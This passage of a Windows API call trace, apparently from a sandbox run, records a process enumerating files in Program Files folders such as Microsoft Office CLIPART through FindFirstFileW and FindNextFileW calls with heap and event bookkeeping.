Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0177.133] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0177.134] GetProcessHeap () returned 0x6a0000 [0177.134] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0177.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0177.339] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0177.340] GetProcessHeap () returned 0x6a0000 [0177.340] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0177.341] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0177.342] GetProcessHeap () returned 0x6a0000 [0177.342] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720088 | out: hHeap=0x6a0000) returned 1 [0177.343] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0177.344] GetProcessHeap () returned 0x6a0000 [0177.344] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0177.652] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0177.652] GetProcessHeap () returned 0x6a0000 [0177.653] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0177.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0177.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0177.658] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0177.659] GetProcessHeap () returned 0x6a0000 [0177.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720088 | out: hHeap=0x6a0000) returned 1 [0177.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0177.674] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0177.675] GetProcessHeap () returned 0x6a0000 [0177.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720088 | out: hHeap=0x6a0000) returned 1 [0177.675] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0177.675] GetProcessHeap () returned 0x6a0000 [0177.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0177.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0177.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0177.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0177.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0178.129] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0178.130] GetProcessHeap () returned 0x6a0000 [0178.130] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0178.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0178.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0178.328] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0178.328] GetProcessHeap () returned 0x6a0000 [0178.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0178.329] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0178.329] GetProcessHeap () returned 0x6a0000 [0178.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0178.329] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0178.330] GetProcessHeap () returned 0x6a0000 [0178.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0178.330] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0178.330] GetProcessHeap () returned 0x6a0000 [0178.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720088 | out: hHeap=0x6a0000) returned 1 [0178.332] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0178.332] GetProcessHeap () returned 0x6a0000 [0178.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0178.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0178.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0178.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0178.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0181.621] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0181.621] ResetEvent (hEvent=0x174) returned 1 [0181.622] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.623] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0181.624] ResetEvent (hEvent=0x174) returned 1 [0181.624] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.625] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0181.625] ResetEvent (hEvent=0x174) returned 1 [0181.625] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.627] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0181.627] ResetEvent (hEvent=0x174) returned 1 [0181.627] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.918] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0181.918] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0181.918] ResetEvent (hEvent=0x174) returned 1 [0181.918] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.922] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0181.922] ResetEvent (hEvent=0x174) returned 1 [0181.922] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.924] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0181.924] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0181.924] ResetEvent (hEvent=0x174) returned 1 [0181.924] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.926] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0181.926] ResetEvent (hEvent=0x174) returned 1 [0181.926] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.928] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0181.929] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0181.929] ResetEvent (hEvent=0x174) returned 1 [0181.929] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.936] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0181.936] ResetEvent (hEvent=0x174) returned 1 [0181.936] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.944] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0181.944] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0181.944] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0181.945] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0181.945] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0181.945] ResetEvent (hEvent=0x174) returned 1 [0181.945] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0181.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0181.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0181.953] ResetEvent (hEvent=0x174) returned 1 [0181.954] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.963] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0181.964] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, 